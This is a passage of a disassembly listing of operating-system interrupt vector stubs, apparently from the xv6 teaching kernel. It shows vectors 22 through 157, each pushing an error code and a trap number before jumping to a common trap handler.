801059ee: 6a 16 push $0x16 jmp alltraps 801059f0: e9 18 fa ff ff jmp 8010540d <alltraps> 801059f5 <vector23>: .globl vector23 vector23: pushl $0 801059f5: 6a 00 push $0x0 pushl $23 801059f7: 6a 17 push $0x17 jmp alltraps 801059f9: e9 0f fa ff ff jmp 8010540d <alltraps> 801059fe <vector24>: .globl vector24 vector24: pushl $0 801059fe: 6a 00 push $0x0 pushl $24 80105a00: 6a 18 push $0x18 jmp alltraps 80105a02: e9 06 fa ff ff jmp 8010540d <alltraps> 80105a07 <vector25>: .globl vector25 vector25: pushl $0 80105a07: 6a 00 push $0x0 pushl $25 80105a09: 6a 19 push $0x19 jmp alltraps 80105a0b: e9 fd f9 ff ff jmp 8010540d <alltraps> 80105a10 <vector26>: .globl vector26 vector26: pushl $0 80105a10: 6a 00 push $0x0 pushl $26 80105a12: 6a 1a push $0x1a jmp alltraps 80105a14: e9 f4 f9 ff ff jmp 8010540d <alltraps> 80105a19 <vector27>: .globl vector27 vector27: pushl $0 80105a19: 6a 00 push $0x0 pushl $27 80105a1b: 6a 1b push $0x1b jmp alltraps 80105a1d: e9 eb f9 ff ff jmp 8010540d <alltraps> 80105a22 <vector28>: .globl vector28 vector28: pushl $0 80105a22: 6a 00 push $0x0 pushl $28 80105a24: 6a 1c push $0x1c jmp alltraps 80105a26: e9 e2 f9 ff ff jmp 8010540d <alltraps> 80105a2b <vector29>: .globl vector29 vector29: pushl $0 80105a2b: 6a 00 push $0x0 pushl $29 80105a2d: 6a 1d push $0x1d jmp alltraps 80105a2f: e9 d9 f9 ff ff jmp 8010540d <alltraps> 80105a34 <vector30>: .globl vector30 vector30: pushl $0 80105a34: 6a 00 push $0x0 pushl $30 80105a36: 6a 1e push $0x1e jmp alltraps 80105a38: e9 d0 f9 ff ff jmp 8010540d <alltraps> 80105a3d <vector31>: .globl vector31 vector31: pushl $0 80105a3d: 6a 00 push $0x0 pushl $31 80105a3f: 6a 1f push $0x1f jmp alltraps 80105a41: e9 c7 f9 ff ff jmp 8010540d <alltraps> 80105a46 <vector32>: .globl vector32 vector32: pushl $0 80105a46: 6a 00 push $0x0 pushl $32 80105a48: 6a 20 push $0x20 jmp alltraps 80105a4a: e9 be f9 ff ff jmp 8010540d <alltraps> 80105a4f <vector33>: .globl vector33 vector33: pushl $0 80105a4f: 6a 00 push $0x0 pushl $33 80105a51: 6a 21 push $0x21 jmp alltraps 80105a53: e9 b5 f9 ff ff jmp 8010540d <alltraps> 80105a58 <vector34>: .globl vector34 vector34: pushl $0 80105a58: 6a 00 push $0x0 pushl $34 80105a5a: 6a 22 push $0x22 jmp alltraps 80105a5c: e9 ac f9 ff ff jmp 8010540d <alltraps> 80105a61 <vector35>: .globl vector35 vector35: pushl $0 80105a61: 6a 00 push $0x0 pushl $35 80105a63: 6a 23 push $0x23 jmp alltraps 80105a65: e9 a3 f9 ff ff jmp 8010540d <alltraps> 80105a6a <vector36>: .globl vector36 vector36: pushl $0 80105a6a: 6a 00 push $0x0 pushl $36 80105a6c: 6a 24 push $0x24 jmp alltraps 80105a6e: e9 9a f9 ff ff jmp 8010540d <alltraps> 80105a73 <vector37>: .globl vector37 vector37: pushl $0 80105a73: 6a 00 push $0x0 pushl $37 80105a75: 6a 25 push $0x25 jmp alltraps 80105a77: e9 91 f9 ff ff jmp 8010540d <alltraps> 80105a7c <vector38>: .globl vector38 vector38: pushl $0 80105a7c: 6a 00 push $0x0 pushl $38 80105a7e: 6a 26 push $0x26 jmp alltraps 80105a80: e9 88 f9 ff ff jmp 8010540d <alltraps> 80105a85 <vector39>: .globl vector39 vector39: pushl $0 80105a85: 6a 00 push $0x0 pushl $39 80105a87: 6a 27 push $0x27 jmp alltraps 80105a89: e9 7f f9 ff ff jmp 8010540d <alltraps> 80105a8e <vector40>: .globl vector40 vector40: pushl $0 80105a8e: 6a 00 push $0x0 pushl $40 80105a90: 6a 28 push $0x28 jmp alltraps 80105a92: e9 76 f9 ff ff jmp 8010540d <alltraps> 80105a97 <vector41>: .globl vector41 vector41: pushl $0 80105a97: 6a 00 push $0x0 pushl $41 80105a99: 6a 29 push $0x29 jmp alltraps 80105a9b: e9 6d f9 ff ff jmp 8010540d <alltraps> 80105aa0 <vector42>: .globl vector42 vector42: pushl $0 80105aa0: 6a 00 push $0x0 pushl $42 80105aa2: 6a 2a push $0x2a jmp alltraps 80105aa4: e9 64 f9 ff ff jmp 8010540d <alltraps> 80105aa9 <vector43>: .globl vector43 vector43: pushl $0 80105aa9: 6a 00 push $0x0 pushl $43 80105aab: 6a 2b push $0x2b jmp alltraps 80105aad: e9 5b f9 ff ff jmp 8010540d <alltraps> 80105ab2 <vector44>: .globl vector44 vector44: pushl $0 80105ab2: 6a 00 push $0x0 pushl $44 80105ab4: 6a 2c push $0x2c jmp alltraps 80105ab6: e9 52 f9 ff ff jmp 8010540d <alltraps> 80105abb <vector45>: .globl vector45 vector45: pushl $0 80105abb: 6a 00 push $0x0 pushl $45 80105abd: 6a 2d push $0x2d jmp alltraps 80105abf: e9 49 f9 ff ff jmp 8010540d <alltraps> 80105ac4 <vector46>: .globl vector46 vector46: pushl $0 80105ac4: 6a 00 push $0x0 pushl $46 80105ac6: 6a 2e push $0x2e jmp alltraps 80105ac8: e9 40 f9 ff ff jmp 8010540d <alltraps> 80105acd <vector47>: .globl vector47 vector47: pushl $0 80105acd: 6a 00 push $0x0 pushl $47 80105acf: 6a 2f push $0x2f jmp alltraps 80105ad1: e9 37 f9 ff ff jmp 8010540d <alltraps> 80105ad6 <vector48>: .globl vector48 vector48: pushl $0 80105ad6: 6a 00 push $0x0 pushl $48 80105ad8: 6a 30 push $0x30 jmp alltraps 80105ada: e9 2e f9 ff ff jmp 8010540d <alltraps> 80105adf <vector49>: .globl vector49 vector49: pushl $0 80105adf: 6a 00 push $0x0 pushl $49 80105ae1: 6a 31 push $0x31 jmp alltraps 80105ae3: e9 25 f9 ff ff jmp 8010540d <alltraps> 80105ae8 <vector50>: .globl vector50 vector50: pushl $0 80105ae8: 6a 00 push $0x0 pushl $50 80105aea: 6a 32 push $0x32 jmp alltraps 80105aec: e9 1c f9 ff ff jmp 8010540d <alltraps> 80105af1 <vector51>: .globl vector51 vector51: pushl $0 80105af1: 6a 00 push $0x0 pushl $51 80105af3: 6a 33 push $0x33 jmp alltraps 80105af5: e9 13 f9 ff ff jmp 8010540d <alltraps> 80105afa <vector52>: .globl vector52 vector52: pushl $0 80105afa: 6a 00 push $0x0 pushl $52 80105afc: 6a 34 push $0x34 jmp alltraps 80105afe: e9 0a f9 ff ff jmp 8010540d <alltraps> 80105b03 <vector53>: .globl vector53 vector53: pushl $0 80105b03: 6a 00 push $0x0 pushl $53 80105b05: 6a 35 push $0x35 jmp alltraps 80105b07: e9 01 f9 ff ff jmp 8010540d <alltraps> 80105b0c <vector54>: .globl vector54 vector54: pushl $0 80105b0c: 6a 00 push $0x0 pushl $54 80105b0e: 6a 36 push $0x36 jmp alltraps 80105b10: e9 f8 f8 ff ff jmp 8010540d <alltraps> 80105b15 <vector55>: .globl vector55 vector55: pushl $0 80105b15: 6a 00 push $0x0 pushl $55 80105b17: 6a 37 push $0x37 jmp alltraps 80105b19: e9 ef f8 ff ff jmp 8010540d <alltraps> 80105b1e <vector56>: .globl vector56 vector56: pushl $0 80105b1e: 6a 00 push $0x0 pushl $56 80105b20: 6a 38 push $0x38 jmp alltraps 80105b22: e9 e6 f8 ff ff jmp 8010540d <alltraps> 80105b27 <vector57>: .globl vector57 vector57: pushl $0 80105b27: 6a 00 push $0x0 pushl $57 80105b29: 6a 39 push $0x39 jmp alltraps 80105b2b: e9 dd f8 ff ff jmp 8010540d <alltraps> 80105b30 <vector58>: .globl vector58 vector58: pushl $0 80105b30: 6a 00 push $0x0 pushl $58 80105b32: 6a 3a push $0x3a jmp alltraps 80105b34: e9 d4 f8 ff ff jmp 8010540d <alltraps> 80105b39 <vector59>: .globl vector59 vector59: pushl $0 80105b39: 6a 00 push $0x0 pushl $59 80105b3b: 6a 3b push $0x3b jmp alltraps 80105b3d: e9 cb f8 ff ff jmp 8010540d <alltraps> 80105b42 <vector60>: .globl vector60 vector60: pushl $0 80105b42: 6a 00 push $0x0 pushl $60 80105b44: 6a 3c push $0x3c jmp alltraps 80105b46: e9 c2 f8 ff ff jmp 8010540d <alltraps> 80105b4b <vector61>: .globl vector61 vector61: pushl $0 80105b4b: 6a 00 push $0x0 pushl $61 80105b4d: 6a 3d push $0x3d jmp alltraps 80105b4f: e9 b9 f8 ff ff jmp 8010540d <alltraps> 80105b54 <vector62>: .globl vector62 vector62: pushl $0 80105b54: 6a 00 push $0x0 pushl $62 80105b56: 6a 3e push $0x3e jmp alltraps 80105b58: e9 b0 f8 ff ff jmp 8010540d <alltraps> 80105b5d <vector63>: .globl vector63 vector63: pushl $0 80105b5d: 6a 00 push $0x0 pushl $63 80105b5f: 6a 3f push $0x3f jmp alltraps 80105b61: e9 a7 f8 ff ff jmp 8010540d <alltraps> 80105b66 <vector64>: .globl vector64 vector64: pushl $0 80105b66: 6a 00 push $0x0 pushl $64 80105b68: 6a 40 push $0x40 jmp alltraps 80105b6a: e9 9e f8 ff ff jmp 8010540d <alltraps> 80105b6f <vector65>: .globl vector65 vector65: pushl $0 80105b6f: 6a 00 push $0x0 pushl $65 80105b71: 6a 41 push $0x41 jmp alltraps 80105b73: e9 95 f8 ff ff jmp 8010540d <alltraps> 80105b78 <vector66>: .globl vector66 vector66: pushl $0 80105b78: 6a 00 push $0x0 pushl $66 80105b7a: 6a 42 push $0x42 jmp alltraps 80105b7c: e9 8c f8 ff ff jmp 8010540d <alltraps> 80105b81 <vector67>: .globl vector67 vector67: pushl $0 80105b81: 6a 00 push $0x0 pushl $67 80105b83: 6a 43 push $0x43 jmp alltraps 80105b85: e9 83 f8 ff ff jmp 8010540d <alltraps> 80105b8a <vector68>: .globl vector68 vector68: pushl $0 80105b8a: 6a 00 push $0x0 pushl $68 80105b8c: 6a 44 push $0x44 jmp alltraps 80105b8e: e9 7a f8 ff ff jmp 8010540d <alltraps> 80105b93 <vector69>: .globl vector69 vector69: pushl $0 80105b93: 6a 00 push $0x0 pushl $69 80105b95: 6a 45 push $0x45 jmp alltraps 80105b97: e9 71 f8 ff ff jmp 8010540d <alltraps> 80105b9c <vector70>: .globl vector70 vector70: pushl $0 80105b9c: 6a 00 push $0x0 pushl $70 80105b9e: 6a 46 push $0x46 jmp alltraps 80105ba0: e9 68 f8 ff ff jmp 8010540d <alltraps> 80105ba5 <vector71>: .globl vector71 vector71: pushl $0 80105ba5: 6a 00 push $0x0 pushl $71 80105ba7: 6a 47 push $0x47 jmp alltraps 80105ba9: e9 5f f8 ff ff jmp 8010540d <alltraps> 80105bae <vector72>: .globl vector72 vector72: pushl $0 80105bae: 6a 00 push $0x0 pushl $72 80105bb0: 6a 48 push $0x48 jmp alltraps 80105bb2: e9 56 f8 ff ff jmp 8010540d <alltraps> 80105bb7 <vector73>: .globl vector73 vector73: pushl $0 80105bb7: 6a 00 push $0x0 pushl $73 80105bb9: 6a 49 push $0x49 jmp alltraps 80105bbb: e9 4d f8 ff ff jmp 8010540d <alltraps> 80105bc0 <vector74>: .globl vector74 vector74: pushl $0 80105bc0: 6a 00 push $0x0 pushl $74 80105bc2: 6a 4a push $0x4a jmp alltraps 80105bc4: e9 44 f8 ff ff jmp 8010540d <alltraps> 80105bc9 <vector75>: .globl vector75 vector75: pushl $0 80105bc9: 6a 00 push $0x0 pushl $75 80105bcb: 6a 4b push $0x4b jmp alltraps 80105bcd: e9 3b f8 ff ff jmp 8010540d <alltraps> 80105bd2 <vector76>: .globl vector76 vector76: pushl $0 80105bd2: 6a 00 push $0x0 pushl $76 80105bd4: 6a 4c push $0x4c jmp alltraps 80105bd6: e9 32 f8 ff ff jmp 8010540d <alltraps> 80105bdb <vector77>: .globl vector77 vector77: pushl $0 80105bdb: 6a 00 push $0x0 pushl $77 80105bdd: 6a 4d push $0x4d jmp alltraps 80105bdf: e9 29 f8 ff ff jmp 8010540d <alltraps> 80105be4 <vector78>: .globl vector78 vector78: pushl $0 80105be4: 6a 00 push $0x0 pushl $78 80105be6: 6a 4e push $0x4e jmp alltraps 80105be8: e9 20 f8 ff ff jmp 8010540d <alltraps> 80105bed <vector79>: .globl vector79 vector79: pushl $0 80105bed: 6a 00 push $0x0 pushl $79 80105bef: 6a 4f push $0x4f jmp alltraps 80105bf1: e9 17 f8 ff ff jmp 8010540d <alltraps> 80105bf6 <vector80>: .globl vector80 vector80: pushl $0 80105bf6: 6a 00 push $0x0 pushl $80 80105bf8: 6a 50 push $0x50 jmp alltraps 80105bfa: e9 0e f8 ff ff jmp 8010540d <alltraps> 80105bff <vector81>: .globl vector81 vector81: pushl $0 80105bff: 6a 00 push $0x0 pushl $81 80105c01: 6a 51 push $0x51 jmp alltraps 80105c03: e9 05 f8 ff ff jmp 8010540d <alltraps> 80105c08 <vector82>: .globl vector82 vector82: pushl $0 80105c08: 6a 00 push $0x0 pushl $82 80105c0a: 6a 52 push $0x52 jmp alltraps 80105c0c: e9 fc f7 ff ff jmp 8010540d <alltraps> 80105c11 <vector83>: .globl vector83 vector83: pushl $0 80105c11: 6a 00 push $0x0 pushl $83 80105c13: 6a 53 push $0x53 jmp alltraps 80105c15: e9 f3 f7 ff ff jmp 8010540d <alltraps> 80105c1a <vector84>: .globl vector84 vector84: pushl $0 80105c1a: 6a 00 push $0x0 pushl $84 80105c1c: 6a 54 push $0x54 jmp alltraps 80105c1e: e9 ea f7 ff ff jmp 8010540d <alltraps> 80105c23 <vector85>: .globl vector85 vector85: pushl $0 80105c23: 6a 00 push $0x0 pushl $85 80105c25: 6a 55 push $0x55 jmp alltraps 80105c27: e9 e1 f7 ff ff jmp 8010540d <alltraps> 80105c2c <vector86>: .globl vector86 vector86: pushl $0 80105c2c: 6a 00 push $0x0 pushl $86 80105c2e: 6a 56 push $0x56 jmp alltraps 80105c30: e9 d8 f7 ff ff jmp 8010540d <alltraps> 80105c35 <vector87>: .globl vector87 vector87: pushl $0 80105c35: 6a 00 push $0x0 pushl $87 80105c37: 6a 57 push $0x57 jmp alltraps 80105c39: e9 cf f7 ff ff jmp 8010540d <alltraps> 80105c3e <vector88>: .globl vector88 vector88: pushl $0 80105c3e: 6a 00 push $0x0 pushl $88 80105c40: 6a 58 push $0x58 jmp alltraps 80105c42: e9 c6 f7 ff ff jmp 8010540d <alltraps> 80105c47 <vector89>: .globl vector89 vector89: pushl $0 80105c47: 6a 00 push $0x0 pushl $89 80105c49: 6a 59 push $0x59 jmp alltraps 80105c4b: e9 bd f7 ff ff jmp 8010540d <alltraps> 80105c50 <vector90>: .globl vector90 vector90: pushl $0 80105c50: 6a 00 push $0x0 pushl $90 80105c52: 6a 5a push $0x5a jmp alltraps 80105c54: e9 b4 f7 ff ff jmp 8010540d <alltraps> 80105c59 <vector91>: .globl vector91 vector91: pushl $0 80105c59: 6a 00 push $0x0 pushl $91 80105c5b: 6a 5b push $0x5b jmp alltraps 80105c5d: e9 ab f7 ff ff jmp 8010540d <alltraps> 80105c62 <vector92>: .globl vector92 vector92: pushl $0 80105c62: 6a 00 push $0x0 pushl $92 80105c64: 6a 5c push $0x5c jmp alltraps 80105c66: e9 a2 f7 ff ff jmp 8010540d <alltraps> 80105c6b <vector93>: .globl vector93 vector93: pushl $0 80105c6b: 6a 00 push $0x0 pushl $93 80105c6d: 6a 5d push $0x5d jmp alltraps 80105c6f: e9 99 f7 ff ff jmp 8010540d <alltraps> 80105c74 <vector94>: .globl vector94 vector94: pushl $0 80105c74: 6a 00 push $0x0 pushl $94 80105c76: 6a 5e push $0x5e jmp alltraps 80105c78: e9 90 f7 ff ff jmp 8010540d <alltraps> 80105c7d <vector95>: .globl vector95 vector95: pushl $0 80105c7d: 6a 00 push $0x0 pushl $95 80105c7f: 6a 5f push $0x5f jmp alltraps 80105c81: e9 87 f7 ff ff jmp 8010540d <alltraps> 80105c86 <vector96>: .globl vector96 vector96: pushl $0 80105c86: 6a 00 push $0x0 pushl $96 80105c88: 6a 60 push $0x60 jmp alltraps 80105c8a: e9 7e f7 ff ff jmp 8010540d <alltraps> 80105c8f <vector97>: .globl vector97 vector97: pushl $0 80105c8f: 6a 00 push $0x0 pushl $97 80105c91: 6a 61 push $0x61 jmp alltraps 80105c93: e9 75 f7 ff ff jmp 8010540d <alltraps> 80105c98 <vector98>: .globl vector98 vector98: pushl $0 80105c98: 6a 00 push $0x0 pushl $98 80105c9a: 6a 62 push $0x62 jmp alltraps 80105c9c: e9 6c f7 ff ff jmp 8010540d <alltraps> 80105ca1 <vector99>: .globl vector99 vector99: pushl $0 80105ca1: 6a 00 push $0x0 pushl $99 80105ca3: 6a 63 push $0x63 jmp alltraps 80105ca5: e9 63 f7 ff ff jmp 8010540d <alltraps> 80105caa <vector100>: .globl vector100 vector100: pushl $0 80105caa: 6a 00 push $0x0 pushl $100 80105cac: 6a 64 push $0x64 jmp alltraps 80105cae: e9 5a f7 ff ff jmp 8010540d <alltraps> 80105cb3 <vector101>: .globl vector101 vector101: pushl $0 80105cb3: 6a 00 push $0x0 pushl $101 80105cb5: 6a 65 push $0x65 jmp alltraps 80105cb7: e9 51 f7 ff ff jmp 8010540d <alltraps> 80105cbc <vector102>: .globl vector102 vector102: pushl $0 80105cbc: 6a 00 push $0x0 pushl $102 80105cbe: 6a 66 push $0x66 jmp alltraps 80105cc0: e9 48 f7 ff ff jmp 8010540d <alltraps> 80105cc5 <vector103>: .globl vector103 vector103: pushl $0 80105cc5: 6a 00 push $0x0 pushl $103 80105cc7: 6a 67 push $0x67 jmp alltraps 80105cc9: e9 3f f7 ff ff jmp 8010540d <alltraps> 80105cce <vector104>: .globl vector104 vector104: pushl $0 80105cce: 6a 00 push $0x0 pushl $104 80105cd0: 6a 68 push $0x68 jmp alltraps 80105cd2: e9 36 f7 ff ff jmp 8010540d <alltraps> 80105cd7 <vector105>: .globl vector105 vector105: pushl $0 80105cd7: 6a 00 push $0x0 pushl $105 80105cd9: 6a 69 push $0x69 jmp alltraps 80105cdb: e9 2d f7 ff ff jmp 8010540d <alltraps> 80105ce0 <vector106>: .globl vector106 vector106: pushl $0 80105ce0: 6a 00 push $0x0 pushl $106 80105ce2: 6a 6a push $0x6a jmp alltraps 80105ce4: e9 24 f7 ff ff jmp 8010540d <alltraps> 80105ce9 <vector107>: .globl vector107 vector107: pushl $0 80105ce9: 6a 00 push $0x0 pushl $107 80105ceb: 6a 6b push $0x6b jmp alltraps 80105ced: e9 1b f7 ff ff jmp 8010540d <alltraps> 80105cf2 <vector108>: .globl vector108 vector108: pushl $0 80105cf2: 6a 00 push $0x0 pushl $108 80105cf4: 6a 6c push $0x6c jmp alltraps 80105cf6: e9 12 f7 ff ff jmp 8010540d <alltraps> 80105cfb <vector109>: .globl vector109 vector109: pushl $0 80105cfb: 6a 00 push $0x0 pushl $109 80105cfd: 6a 6d push $0x6d jmp alltraps 80105cff: e9 09 f7 ff ff jmp 8010540d <alltraps> 80105d04 <vector110>: .globl vector110 vector110: pushl $0 80105d04: 6a 00 push $0x0 pushl $110 80105d06: 6a 6e push $0x6e jmp alltraps 80105d08: e9 00 f7 ff ff jmp 8010540d <alltraps> 80105d0d <vector111>: .globl vector111 vector111: pushl $0 80105d0d: 6a 00 push $0x0 pushl $111 80105d0f: 6a 6f push $0x6f jmp alltraps 80105d11: e9 f7 f6 ff ff jmp 8010540d <alltraps> 80105d16 <vector112>: .globl vector112 vector112: pushl $0 80105d16: 6a 00 push $0x0 pushl $112 80105d18: 6a 70 push $0x70 jmp alltraps 80105d1a: e9 ee f6 ff ff jmp 8010540d <alltraps> 80105d1f <vector113>: .globl vector113 vector113: pushl $0 80105d1f: 6a 00 push $0x0 pushl $113 80105d21: 6a 71 push $0x71 jmp alltraps 80105d23: e9 e5 f6 ff ff jmp 8010540d <alltraps> 80105d28 <vector114>: .globl vector114 vector114: pushl $0 80105d28: 6a 00 push $0x0 pushl $114 80105d2a: 6a 72 push $0x72 jmp alltraps 80105d2c: e9 dc f6 ff ff jmp 8010540d <alltraps> 80105d31 <vector115>: .globl vector115 vector115: pushl $0 80105d31: 6a 00 push $0x0 pushl $115 80105d33: 6a 73 push $0x73 jmp alltraps 80105d35: e9 d3 f6 ff ff jmp 8010540d <alltraps> 80105d3a <vector116>: .globl vector116 vector116: pushl $0 80105d3a: 6a 00 push $0x0 pushl $116 80105d3c: 6a 74 push $0x74 jmp alltraps 80105d3e: e9 ca f6 ff ff jmp 8010540d <alltraps> 80105d43 <vector117>: .globl vector117 vector117: pushl $0 80105d43: 6a 00 push $0x0 pushl $117 80105d45: 6a 75 push $0x75 jmp alltraps 80105d47: e9 c1 f6 ff ff jmp 8010540d <alltraps> 80105d4c <vector118>: .globl vector118 vector118: pushl $0 80105d4c: 6a 00 push $0x0 pushl $118 80105d4e: 6a 76 push $0x76 jmp alltraps 80105d50: e9 b8 f6 ff ff jmp 8010540d <alltraps> 80105d55 <vector119>: .globl vector119 vector119: pushl $0 80105d55: 6a 00 push $0x0 pushl $119 80105d57: 6a 77 push $0x77 jmp alltraps 80105d59: e9 af f6 ff ff jmp 8010540d <alltraps> 80105d5e <vector120>: .globl vector120 vector120: pushl $0 80105d5e: 6a 00 push $0x0 pushl $120 80105d60: 6a 78 push $0x78 jmp alltraps 80105d62: e9 a6 f6 ff ff jmp 8010540d <alltraps> 80105d67 <vector121>: .globl vector121 vector121: pushl $0 80105d67: 6a 00 push $0x0 pushl $121 80105d69: 6a 79 push $0x79 jmp alltraps 80105d6b: e9 9d f6 ff ff jmp 8010540d <alltraps> 80105d70 <vector122>: .globl vector122 vector122: pushl $0 80105d70: 6a 00 push $0x0 pushl $122 80105d72: 6a 7a push $0x7a jmp alltraps 80105d74: e9 94 f6 ff ff jmp 8010540d <alltraps> 80105d79 <vector123>: .globl vector123 vector123: pushl $0 80105d79: 6a 00 push $0x0 pushl $123 80105d7b: 6a 7b push $0x7b jmp alltraps 80105d7d: e9 8b f6 ff ff jmp 8010540d <alltraps> 80105d82 <vector124>: .globl vector124 vector124: pushl $0 80105d82: 6a 00 push $0x0 pushl $124 80105d84: 6a 7c push $0x7c jmp alltraps 80105d86: e9 82 f6 ff ff jmp 8010540d <alltraps> 80105d8b <vector125>: .globl vector125 vector125: pushl $0 80105d8b: 6a 00 push $0x0 pushl $125 80105d8d: 6a 7d push $0x7d jmp alltraps 80105d8f: e9 79 f6 ff ff jmp 8010540d <alltraps> 80105d94 <vector126>: .globl vector126 vector126: pushl $0 80105d94: 6a 00 push $0x0 pushl $126 80105d96: 6a 7e push $0x7e jmp alltraps 80105d98: e9 70 f6 ff ff jmp 8010540d <alltraps> 80105d9d <vector127>: .globl vector127 vector127: pushl $0 80105d9d: 6a 00 push $0x0 pushl $127 80105d9f: 6a 7f push $0x7f jmp alltraps 80105da1: e9 67 f6 ff ff jmp 8010540d <alltraps> 80105da6 <vector128>: .globl vector128 vector128: pushl $0 80105da6: 6a 00 push $0x0 pushl $128 80105da8: 68 80 00 00 00 push $0x80 jmp alltraps 80105dad: e9 5b f6 ff ff jmp 8010540d <alltraps> 80105db2 <vector129>: .globl vector129 vector129: pushl $0 80105db2: 6a 00 push $0x0 pushl $129 80105db4: 68 81 00 00 00 push $0x81 jmp alltraps 80105db9: e9 4f f6 ff ff jmp 8010540d <alltraps> 80105dbe <vector130>: .globl vector130 vector130: pushl $0 80105dbe: 6a 00 push $0x0 pushl $130 80105dc0: 68 82 00 00 00 push $0x82 jmp alltraps 80105dc5: e9 43 f6 ff ff jmp 8010540d <alltraps> 80105dca <vector131>: .globl vector131 vector131: pushl $0 80105dca: 6a 00 push $0x0 pushl $131 80105dcc: 68 83 00 00 00 push $0x83 jmp alltraps 80105dd1: e9 37 f6 ff ff jmp 8010540d <alltraps> 80105dd6 <vector132>: .globl vector132 vector132: pushl $0 80105dd6: 6a 00 push $0x0 pushl $132 80105dd8: 68 84 00 00 00 push $0x84 jmp alltraps 80105ddd: e9 2b f6 ff ff jmp 8010540d <alltraps> 80105de2 <vector133>: .globl vector133 vector133: pushl $0 80105de2: 6a 00 push $0x0 pushl $133 80105de4: 68 85 00 00 00 push $0x85 jmp alltraps 80105de9: e9 1f f6 ff ff jmp 8010540d <alltraps> 80105dee <vector134>: .globl vector134 vector134: pushl $0 80105dee: 6a 00 push $0x0 pushl $134 80105df0: 68 86 00 00 00 push $0x86 jmp alltraps 80105df5: e9 13 f6 ff ff jmp 8010540d <alltraps> 80105dfa <vector135>: .globl vector135 vector135: pushl $0 80105dfa: 6a 00 push $0x0 pushl $135 80105dfc: 68 87 00 00 00 push $0x87 jmp alltraps 80105e01: e9 07 f6 ff ff jmp 8010540d <alltraps> 80105e06 <vector136>: .globl vector136 vector136: pushl $0 80105e06: 6a 00 push $0x0 pushl $136 80105e08: 68 88 00 00 00 push $0x88 jmp alltraps 80105e0d: e9 fb f5 ff ff jmp 8010540d <alltraps> 80105e12 <vector137>: .globl vector137 vector137: pushl $0 80105e12: 6a 00 push $0x0 pushl $137 80105e14: 68 89 00 00 00 push $0x89 jmp alltraps 80105e19: e9 ef f5 ff ff jmp 8010540d <alltraps> 80105e1e <vector138>: .globl vector138 vector138: pushl $0 80105e1e: 6a 00 push $0x0 pushl $138 80105e20: 68 8a 00 00 00 push $0x8a jmp alltraps 80105e25: e9 e3 f5 ff ff jmp 8010540d <alltraps> 80105e2a <vector139>: .globl vector139 vector139: pushl $0 80105e2a: 6a 00 push $0x0 pushl $139 80105e2c: 68 8b 00 00 00 push $0x8b jmp alltraps 80105e31: e9 d7 f5 ff ff jmp 8010540d <alltraps> 80105e36 <vector140>: .globl vector140 vector140: pushl $0 80105e36: 6a 00 push $0x0 pushl $140 80105e38: 68 8c 00 00 00 push $0x8c jmp alltraps 80105e3d: e9 cb f5 ff ff jmp 8010540d <alltraps> 80105e42 <vector141>: .globl vector141 vector141: pushl $0 80105e42: 6a 00 push $0x0 pushl $141 80105e44: 68 8d 00 00 00 push $0x8d jmp alltraps 80105e49: e9 bf f5 ff ff jmp 8010540d <alltraps> 80105e4e <vector142>: .globl vector142 vector142: pushl $0 80105e4e: 6a 00 push $0x0 pushl $142 80105e50: 68 8e 00 00 00 push $0x8e jmp alltraps 80105e55: e9 b3 f5 ff ff jmp 8010540d <alltraps> 80105e5a <vector143>: .globl vector143 vector143: pushl $0 80105e5a: 6a 00 push $0x0 pushl $143 80105e5c: 68 8f 00 00 00 push $0x8f jmp alltraps 80105e61: e9 a7 f5 ff ff jmp 8010540d <alltraps> 80105e66 <vector144>: .globl vector144 vector144: pushl $0 80105e66: 6a 00 push $0x0 pushl $144 80105e68: 68 90 00 00 00 push $0x90 jmp alltraps 80105e6d: e9 9b f5 ff ff jmp 8010540d <alltraps> 80105e72 <vector145>: .globl vector145 vector145: pushl $0 80105e72: 6a 00 push $0x0 pushl $145 80105e74: 68 91 00 00 00 push $0x91 jmp alltraps 80105e79: e9 8f f5 ff ff jmp 8010540d <alltraps> 80105e7e <vector146>: .globl vector146 vector146: pushl $0 80105e7e: 6a 00 push $0x0 pushl $146 80105e80: 68 92 00 00 00 push $0x92 jmp alltraps 80105e85: e9 83 f5 ff ff jmp 8010540d <alltraps> 80105e8a <vector147>: .globl vector147 vector147: pushl $0 80105e8a: 6a 00 push $0x0 pushl $147 80105e8c: 68 93 00 00 00 push $0x93 jmp alltraps 80105e91: e9 77 f5 ff ff jmp 8010540d <alltraps> 80105e96 <vector148>: .globl vector148 vector148: pushl $0 80105e96: 6a 00 push $0x0 pushl $148 80105e98: 68 94 00 00 00 push $0x94 jmp alltraps 80105e9d: e9 6b f5 ff ff jmp 8010540d <alltraps> 80105ea2 <vector149>: .globl vector149 vector149: pushl $0 80105ea2: 6a 00 push $0x0 pushl $149 80105ea4: 68 95 00 00 00 push $0x95 jmp alltraps 80105ea9: e9 5f f5 ff ff jmp 8010540d <alltraps> 80105eae <vector150>: .globl vector150 vector150: pushl $0 80105eae: 6a 00 push $0x0 pushl $150 80105eb0: 68 96 00 00 00 push $0x96 jmp alltraps 80105eb5: e9 53 f5 ff ff jmp 8010540d <alltraps> 80105eba <vector151>: .globl vector151 vector151: pushl $0 80105eba: 6a 00 push $0x0 pushl $151 80105ebc: 68 97 00 00 00 push $0x97 jmp alltraps 80105ec1: e9 47 f5 ff ff jmp 8010540d <alltraps> 80105ec6 <vector152>: .globl vector152 vector152: pushl $0 80105ec6: 6a 00 push $0x0 pushl $152 80105ec8: 68 98 00 00 00 push $0x98 jmp alltraps 80105ecd: e9 3b f5 ff ff jmp 8010540d <alltraps> 80105ed2 <vector153>: .globl vector153 vector153: pushl $0 80105ed2: 6a 00 push $0x0 pushl $153 80105ed4: 68 99 00 00 00 push $0x99 jmp alltraps 80105ed9: e9 2f f5 ff ff jmp 8010540d <alltraps> 80105ede <vector154>: .globl vector154 vector154: pushl $0 80105ede: 6a 00 push $0x0 pushl $154 80105ee0: 68 9a 00 00 00 push $0x9a jmp alltraps 80105ee5: e9 23 f5 ff ff jmp 8010540d <alltraps> 80105eea <vector155>: .globl vector155 vector155: pushl $0 80105eea: 6a 00 push $0x0 pushl $155 80105eec: 68 9b 00 00 00 push $0x9b jmp alltraps 80105ef1: e9 17 f5 ff ff jmp 8010540d <alltraps> 80105ef6 <vector156>: .globl vector156 vector156: pushl $0 80105ef6: 6a 00 push $0x0 pushl $156 80105ef8: 68 9c 00 00 00 push $0x9c jmp alltraps 80105efd: e9 0b f5 ff ff jmp 8010540d <alltraps> 80105f02 <vector157>: .globl vector157 vector157: pushl $0 80105f02: 6a 00 push $0x0 pushl $157 80105f04: 68 9d 00 00 00 push $0x9d jmp alltraps 80105f09: e9 ff f4 